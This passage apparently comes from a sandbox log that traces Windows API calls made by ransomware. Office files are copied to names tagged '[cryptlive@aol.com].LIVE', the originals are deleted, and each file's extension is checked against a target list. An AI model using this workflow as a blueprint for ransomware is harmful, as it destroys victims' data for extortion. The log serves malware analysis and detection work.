lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x610, lpOverlapped=0x0) returned 1 [0148.052] ReadFile (in: hFile=0x388, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0148.052] WriteFile (in: hFile=0x3c8, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xea, lpOverlapped=0x0) returned 1 [0148.052] SetEndOfFile (hFile=0x3c8) returned 1 [0148.052] CloseHandle (hObject=0x3c8) returned 1 [0148.052] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.052] SetEndOfFile (hFile=0x388) returned 1 [0148.057] CloseHandle (hObject=0x388) returned 1 [0148.057] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0148.058] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winschd.vrd")) returned 1 [0148.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59 [0148.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59 [0148.058] lstrlenW (lpString=".doc") returned 4 [0148.058] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0148.058] lstrlenW (lpString=".docx") returned 5 [0148.058] lstrcmpiW (lpString1=".docx", lpString2="D.VRD") returned -1 [0148.058] lstrlenW (lpString=".pdf") returned 4 [0148.058] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0148.058] lstrlenW (lpString=".xls") returned 4 [0148.058] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0148.058] lstrlenW (lpString=".xlsx") returned 5 [0148.058] lstrcmpiW (lpString1=".xlsx", lpString2="D.VRD") returned -1 [0148.059] lstrlenW (lpString=".ppt") returned 4 [0148.059] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0148.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59 [0148.059] lstrlenW (lpString=".zip") returned 4 [0148.059] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0148.059] lstrlenW (lpString=".rar") returned 4 [0148.059] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0148.059] lstrlenW (lpString=".bz2") returned 4 [0148.059] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0148.059] lstrlenW (lpString=".7z") returned 3 [0148.059] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0148.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59 [0148.059] lstrlenW (lpString=".dbf") returned 4 [0148.059] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0148.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59 [0148.059] lstrlenW (lpString=".1cd") returned 4 [0148.059] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0148.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59 [0148.059] lstrlenW (lpString=".jpg") returned 4 [0148.059] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0148.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59 [0148.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59 [0148.059] lstrlenW (lpString=".doc") returned 4 [0148.059] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0148.059] lstrlenW (lpString=".docx") returned 5 [0148.059] lstrcmpiW (lpString1=".docx", lpString2="D.VRD") returned -1 [0148.059] lstrlenW (lpString=".pdf") returned 4 [0148.059] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0148.059] lstrlenW (lpString=".xls") returned 4 [0148.059] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0148.059] lstrlenW (lpString=".xlsx") returned 5 [0148.059] lstrcmpiW (lpString1=".xlsx", lpString2="D.VRD") returned -1 [0148.059] lstrlenW (lpString=".ppt") returned 4 [0148.059] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0148.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59 [0148.059] lstrlenW (lpString=".zip") returned 4 [0148.060] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0148.060] lstrlenW (lpString=".rar") returned 4 [0148.060] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0148.060] lstrlenW (lpString=".bz2") returned 4 [0148.060] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0148.060] lstrlenW (lpString=".7z") returned 3 [0148.060] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0148.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59 [0148.060] lstrlenW (lpString=".dbf") returned 4 [0148.060] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0148.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59 [0148.060] lstrlenW (lpString=".1cd") returned 4 [0148.060] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0148.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD") returned 59 [0148.060] lstrlenW (lpString=".jpg") returned 4 [0148.060] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0148.060] lstrcmpiW (lpString1=".HXT", lpString2=".LIVE") returned -1 [0148.060] lstrlenW (lpString="WINWORD.DEV_COL.HXT") returned 19 [0148.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0148.061] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=211) returned 1 [0148.061] CloseHandle (hObject=0x388) returned 1 [0148.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxt")) returned 0x20 [0148.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxt.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0148.061] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.061] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxt.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0148.062] GetLastError () returned 0x0 [0148.062] ReadFile (in: hFile=0x388, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0xd3, lpOverlapped=0x0) returned 1 [0148.063] WriteFile (in: hFile=0x3c8, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0148.064] ReadFile (in: hFile=0x388, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0148.064] WriteFile (in: hFile=0x3c8, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0148.064] SetEndOfFile (hFile=0x3c8) returned 1 [0148.064] CloseHandle (hObject=0x3c8) returned 1 [0148.064] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.064] SetEndOfFile (hFile=0x388) returned 1 [0148.070] CloseHandle (hObject=0x388) returned 1 [0148.071] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0148.071] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxt")) returned 1 [0148.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67 [0148.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67 [0148.073] lstrlenW (lpString=".doc") returned 4 [0148.074] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0148.074] lstrlenW (lpString=".docx") returned 5 [0148.074] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0148.074] lstrlenW (lpString=".pdf") returned 4 [0148.074] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0148.074] lstrlenW (lpString=".xls") returned 4 [0148.074] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0148.074] lstrlenW (lpString=".xlsx") returned 5 [0148.074] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0148.074] lstrlenW (lpString=".ppt") returned 4 [0148.074] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0148.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67 [0148.074] lstrlenW (lpString=".zip") returned 4 [0148.074] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0148.074] lstrlenW (lpString=".rar") returned 4 [0148.074] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0148.074] lstrlenW (lpString=".bz2") returned 4 [0148.074] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0148.074] lstrlenW (lpString=".7z") returned 3 [0148.074] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0148.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67 [0148.074] lstrlenW (lpString=".dbf") returned 4 [0148.074] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0148.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67 [0148.074] lstrlenW (lpString=".1cd") returned 4 [0148.074] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0148.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67 [0148.074] lstrlenW (lpString=".jpg") returned 4 [0148.074] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0148.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67 [0148.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67 [0148.074] lstrlenW (lpString=".doc") returned 4 [0148.074] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0148.074] lstrlenW (lpString=".docx") returned 5 [0148.074] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0148.075] lstrlenW (lpString=".pdf") returned 4 [0148.075] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0148.075] lstrlenW (lpString=".xls") returned 4 [0148.075] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0148.075] lstrlenW (lpString=".xlsx") returned 5 [0148.075] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0148.075] lstrlenW (lpString=".ppt") returned 4 [0148.075] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0148.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67 [0148.075] lstrlenW (lpString=".zip") returned 4 [0148.075] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0148.075] lstrlenW (lpString=".rar") returned 4 [0148.075] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0148.075] lstrlenW (lpString=".bz2") returned 4 [0148.075] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0148.075] lstrlenW (lpString=".7z") returned 3 [0148.075] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0148.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67 [0148.075] lstrlenW (lpString=".dbf") returned 4 [0148.075] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0148.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67 [0148.075] lstrlenW (lpString=".1cd") returned 4 [0148.075] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0148.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT") returned 67 [0148.075] lstrlenW (lpString=".jpg") returned 4 [0148.075] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0148.075] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0148.075] lstrlenW (lpString="WINWORD.DEV_F_COL.HXK") returned 21 [0148.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0148.076] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=114) returned 1 [0148.076] CloseHandle (hObject=0x388) returned 1 [0148.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_f_col.hxk")) returned 0x20 [0148.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0148.076] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.077] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0148.077] GetLastError () returned 0x0 [0148.077] ReadFile (in: hFile=0x388, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x72, lpOverlapped=0x0) returned 1 [0148.078] WriteFile (in: hFile=0x3c8, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x80, lpOverlapped=0x0) returned 1 [0148.079] ReadFile (in: hFile=0x388, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0148.079] WriteFile (in: hFile=0x3c8, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xfe, lpOverlapped=0x0) returned 1 [0148.079] SetEndOfFile (hFile=0x3c8) returned 1 [0148.079] CloseHandle (hObject=0x3c8) returned 1 [0148.079] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.079] SetEndOfFile (hFile=0x388) returned 1 [0148.082] CloseHandle (hObject=0x388) returned 1 [0148.082] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0148.082] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_f_col.hxk")) returned 1 [0148.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69 [0148.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69 [0148.083] lstrlenW (lpString=".doc") returned 4 [0148.083] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0148.083] lstrlenW (lpString=".docx") returned 5 [0148.083] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0148.083] lstrlenW (lpString=".pdf") returned 4 [0148.083] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0148.083] lstrlenW (lpString=".xls") returned 4 [0148.083] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0148.083] lstrlenW (lpString=".xlsx") returned 5 [0148.083] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0148.083] lstrlenW (lpString=".ppt") returned 4 [0148.083] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0148.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69 [0148.083] lstrlenW (lpString=".zip") returned 4 [0148.083] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0148.083] lstrlenW (lpString=".rar") returned 4 [0148.083] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0148.083] lstrlenW (lpString=".bz2") returned 4 [0148.083] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0148.083] lstrlenW (lpString=".7z") returned 3 [0148.083] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0148.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69 [0148.083] lstrlenW (lpString=".dbf") returned 4 [0148.083] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0148.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69 [0148.083] lstrlenW (lpString=".1cd") returned 4 [0148.083] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0148.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69 [0148.083] lstrlenW (lpString=".jpg") returned 4 [0148.083] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0148.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69 [0148.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69 [0148.084] lstrlenW (lpString=".doc") returned 4 [0148.084] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0148.084] lstrlenW (lpString=".docx") returned 5 [0148.084] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0148.084] lstrlenW (lpString=".pdf") returned 4 [0148.084] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0148.084] lstrlenW (lpString=".xls") returned 4 [0148.084] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0148.084] lstrlenW (lpString=".xlsx") returned 5 [0148.084] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0148.084] lstrlenW (lpString=".ppt") returned 4 [0148.084] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0148.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69 [0148.084] lstrlenW (lpString=".zip") returned 4 [0148.084] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0148.084] lstrlenW (lpString=".rar") returned 4 [0148.084] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0148.084] lstrlenW (lpString=".bz2") returned 4 [0148.084] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0148.084] lstrlenW (lpString=".7z") returned 3 [0148.084] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0148.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69 [0148.084] lstrlenW (lpString=".dbf") returned 4 [0148.084] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0148.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69 [0148.084] lstrlenW (lpString=".1cd") returned 4 [0148.084] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0148.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK") returned 69 [0148.084] lstrlenW (lpString=".jpg") returned 4 [0148.084] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0148.085] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0148.085] lstrlenW (lpString="WINWORD.DEV_K_COL.HXK") returned 21 [0148.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0148.085] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=113) returned 1 [0148.085] CloseHandle (hObject=0x388) returned 1 [0148.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_k_col.hxk")) returned 0x20 [0148.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0148.360] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.360] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0148.361] GetLastError () returned 0x0 [0148.361] ReadFile (in: hFile=0x3c8, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x71, lpOverlapped=0x0) returned 1 [0148.370] WriteFile (in: hFile=0x3c4, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x80, lpOverlapped=0x0) returned 1 [0148.371] ReadFile (in: hFile=0x3c8, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0148.371] WriteFile (in: hFile=0x3c4, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xfe, lpOverlapped=0x0) returned 1 [0148.371] SetEndOfFile (hFile=0x3c4) returned 1 [0148.371] CloseHandle 